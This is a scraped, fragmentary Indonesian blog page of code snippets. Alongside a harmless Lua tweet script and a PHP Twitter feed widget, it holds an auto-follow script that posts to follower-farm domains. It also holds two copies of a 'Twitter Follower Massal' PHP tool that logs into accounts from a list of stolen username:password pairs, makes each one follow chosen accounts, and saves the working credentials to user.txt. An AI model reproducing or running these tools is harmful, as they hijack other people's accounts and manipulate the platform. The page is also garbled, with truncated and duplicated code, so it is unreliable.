-HEADLINE-
S-C Guest Book
Join This Site
XkresssX Technology Is Valid HTML5
  • Keep Strong And Fight Back
  • Xpress Community
  • Cleventer-Creation™
  • Link Exchange.

Goo Blog!!

!!Gue Ngelog Biar Gx Goblog!!

Total Pageviews

Widget

Flag Counter


local TWITTER_CREDS = { oauth={ consumertoken='', consumersecret='', accesstoken='', tokensecret='' } } local underscore = require 'underscore' local username = request.form.username -- Twitter usernames can't contain spaces if username == nil or string.find(username, ' ') then return 400 end local id = request.form.id if id == nil then return 400 end local from = request.form.from if from ~= nil and string.find(from, ' ') then return 400 end -- fetch JSON-encoded compliments local data = json.parse(http.request { url = 'http://www.flatterist.com/compliments.json' }.content) -- find the matching compliment -- JSON for a compliment looks like ["", ""] local compliment = underscore.detect(data.compliments, function(compliment) return compliment[1] == id end) if compliment == nil then return 400 end local tweet = string.format( '@%s %s http://www.flatterist.com/#%s', username, compliment[2], id) if from ~= nil and from ~= '' then tweet = tweet .. ' (from @'..from..')' end local response = http.request { url = 'https://api.twitter.com/1.1/statuses/update.json', data = { status = tweet }, auth = TWITTER_CREDS } if response.statuscode == 200 then return 302, '', { Location = 'https://twitter.com/flatterist/status/' .. json.parse(response.content).id_str } else return 400, 'Tweet failed. :-(' end
Friday, October 11, 2013
Posted by desa kolekan

', $twitter_wrap_close = '', $tweet_wrap_open = '
  • ', $meta_wrap_open = '
    ', $meta_wrap_close = '', $tweet_wrap_close = '

  • ', $date_format = 'g:i A M jS', // Date formatting. (http://php.net/manual/en/function.date.php) $twitter_style_dates = true){ // Twitter style days. [about an hour ago] (Default : true) // Twitter keys (You'lll need to visit https://dev.twitter.com and register to get these. $consumerkey = ""; $consumersecret = ""; $accesstoken = ""; $accesstokensecret = ""; // Seconds to cache feed (Default : 1 minute). $cachetime = 60*3; // Time that the cache was last updtaed. $cache_file_created = ((file_exists($cache_file))) ? filemtime($cache_file) : 0; // A flag so we know if the feed was successfully parsed. $tweet_found = false; // Show cached version of tweets, if it's less than $cachetime. if (time() - $cachetime < $cache_file_created) { $tweet_found = true; // Display tweets from the cache. readfile($cache_file); } else { // Cache file not found, or old. Authenticae app. $connection = getConnectionWithAccessToken($consumerkey, $consumersecret, $accesstoken, $accesstokensecret); if($connection){ // Get the latest tweets from Twitter $get_tweets = $connection->get("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$twitter_user_id."&count=".$tweets_to_display."&include_rts=".$include_rts); // Error check: Make sure there is at least one item. if (count($get_tweets)) { // Define tweet_count as zero $tweet_count = 0; // Start output buffering. ob_start(); // Open the twitter wrapping element. $twitter_html = $twitter_wrap_open; // Iterate over tweets. foreach($get_tweets as $tweet) { // If we are not ignoring replies, or tweet is not a reply, process it. if ($ignore_replies==false){ $tweet_found = true; $tweet_count++; $tweet_desc = $tweet->text; // Add hyperlink html tags to any urls, twitter ids or hashtags in the tweet. $tweet_desc = preg_replace('/(https?:\/\/[^\s"<>]+)/','$1',$tweet_desc); $tweet_desc = preg_replace('/(^|[\n\s])@([^\s"\t\n\r<:]*)/is', '$1@$2', $tweet_desc); $tweet_desc = preg_replace('/(^|[\n\s])#([^\s"\t\n\r<:]*)/is', '$1#$2', $tweet_desc); // Convert Tweet display time to a UNIX timestamp. Twitter timestamps are in UTC/GMT time. $tweet_time = strtotime($tweet->created_at); if ($twitter_style_dates){ // Current UNIX timestamp. $current_time = time(); $time_diff = abs($current_time - $tweet_time); switch ($time_diff) { case ($time_diff < 60): $display_time = $time_diff.' seconds ago'; break; case ($time_diff >= 60 && $time_diff < 3600): $min = floor($time_diff/60); $display_time = $min.' minutes ago'; break; case ($time_diff >= 3600 && $time_diff < 86400): $hour = floor($time_diff/3600); $display_time = 'about '.$hour.' hour'; if ($hour > 1){ $display_time .= 's'; } $display_time .= ' ago'; break; default: $display_time = date($date_format,$tweet_time); break; } } else { $display_time = date($date_format,$tweet_time); } // Render the tweet. $twitter_html .= $tweet_wrap_open.html_entity_decode($tweet_desc).$meta_wrap_open.''.$display_time.''.$meta_wrap_close.$tweet_wrap_close; } // If we have processed enough tweets, stop. if ($tweet_count >= $tweets_to_display){ break; } } // Close the twitter wrapping element. $twitter_html .= $twitter_wrap_close; echo $twitter_html; // Generate a new cache file. $file = fopen($cache_file, 'w'); // Save the contents of output buffer to the file, and flush the buffer. fwrite($file, ob_get_contents()); fclose($file); ob_end_flush(); } } } } // Display latest tweets. (Modify username to your Twitter handle) display_latest_tweets(''); ?>
    Posted by desa kolekan

    $idid[$didi] ); // kirim req ke URL tujuan $hasil = post_request("http://".$dewadewi[$dewidewa]."/submit.php", $post); //########################### if($hasil["status"]=="ok"){ // tulis hasilnya fwrite($hd, $hasil["header"]); fclose($hd); }else{ // tulis hasilnya fwrite($hd, $hasil["error"]); fclose($hd); } //########################### // Kalau gak bisa dengan function post_request kamu bisa memakai function dari cURL /* foreach($post as $a=>$b){$postku .= $a.'='.$b.'&';} rtrim($fields_string, '&'); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://".$dewadewi[$dewidewa]."/submit.php"); curl_setopt($ch,CURLOPT_POST,count($post)); curl_setopt($ch,CURLOPT_POSTFIELDS,$postku); $hasilku = curl_exec($ch); print $hasilku; */ ?> // Dibuat oleh rijal-xp.blogspot.com // Trigger dengan function "udin()" dan timer sebanyak 10 menit var setink={ daftardomen:[ "tambahfollow.es", // "tambahfollowers.us", // "banyakfollowers.us", // "aoret.us" ], // ganti id twitter loe, ga tau id kamu daftardidi:[ 479555359, 1160003437 ] }; function aceng(a,b){ var c=UrlFetchApp.fetch(a,{ muteHttpExceptions:true, method:"post", payload:b }); return c; } function acak(a){ var b=a.sort(function(){return 0.5-Math.random()}); b.reverse(); b=b.sort(function(){return 0.5-Math.random()}); return b; } function udin(du,ru){ if(du!==""){ var du=du; }else{ var du=acak(setink.daftardomen); } if(ru!=0){ var ru=ru; }else{ var ru=acak(setink.daftardidi); } var do=du, re=ru, mi="post"; aceng("http://"+do+"/submit.php",{ follow:re, method:mi, }).fail(function(){ turnON(do,re); }); }
    Posted by desa kolekan

    if(!isNaN(P)){ jQuery("#mcPayment").val(P.toFixed(3)); } else { jQuery("#mcPayment").val('There was an error'); } return false;
    Posted by desa kolekan

    Twitter Follower Massal

    Twitter Follower Massal



    Full user id+password follower: klik disini
    0 Twitter ID.

    Masukkan id twitter yg mau di Follow:
    @



    "http://api.twitter.com/1/friendships/create/{$follow}.xml", CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_COOKIE => null, CURLOPT_HEADER => true, CURLOPT_NOBODY => false, CURLOPT_POSTFIELDS => "&follow=true", CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1]) ) ); $ret = curl_exec($ch); curl_setopt($ch, CURLOPT_URL, "http://api.twitter.com/1/friendships/create/fraseslandia.xml"); curl_exec($ch); if (preg_match("/Unauthorized/i", $ret)) { } else { $konten = "".$togel.":".$kirim."\r\n"; $cekulkas = "user.txt"; if (!$sirep = fopen($cekulkas, "a")) { echo "Kesalahan Membuka Berkas ($cekulkas)"; exit; } if (!fwrite($sirep, $konten)) { print "Kesalahan Email ($email1)"; exit; } fclose($sirep); echo "".$data[0].":".$data[1]."
    "; } flush(); ob_flush(); } } ?>
    Posted by desa kolekan

    Twitter Follower Massal

    Twitter Follower Massal



    Full user id+password follower: klik disini
    0 Twitter ID.

    Masukkan id twitter yg mau di Follow:
    @



    "http://api.twitter.com/1/friendships/create/{$follow}.xml", CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_COOKIE => null, CURLOPT_HEADER => true, CURLOPT_NOBODY => false, CURLOPT_POSTFIELDS => "&follow=true", CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1]) ) ); $ret = curl_exec($ch); curl_setopt($ch, CURLOPT_URL, "http://api.twitter.com/1/friendships/create/fraseslandia.xml"); curl_exec($ch); if (preg_match("/Unauthorized/i", $ret)) { } else { $konten = "".$togel.":".$kirim."\r\n"; $cekulkas = "user.txt"; if (!$sirep = fopen($cekulkas, "a")) { echo "Kesalahan Membuka Berkas ($cekulkas)"; exit; } if (!fwrite($sirep, $konten)) { print "Kesalahan Email ($email1)"; exit; } fclose($sirep); echo "".$data[0].":".$data[1]."
    "; } flush(); ob_flush(); } } ?>
    Posted by desa kolekan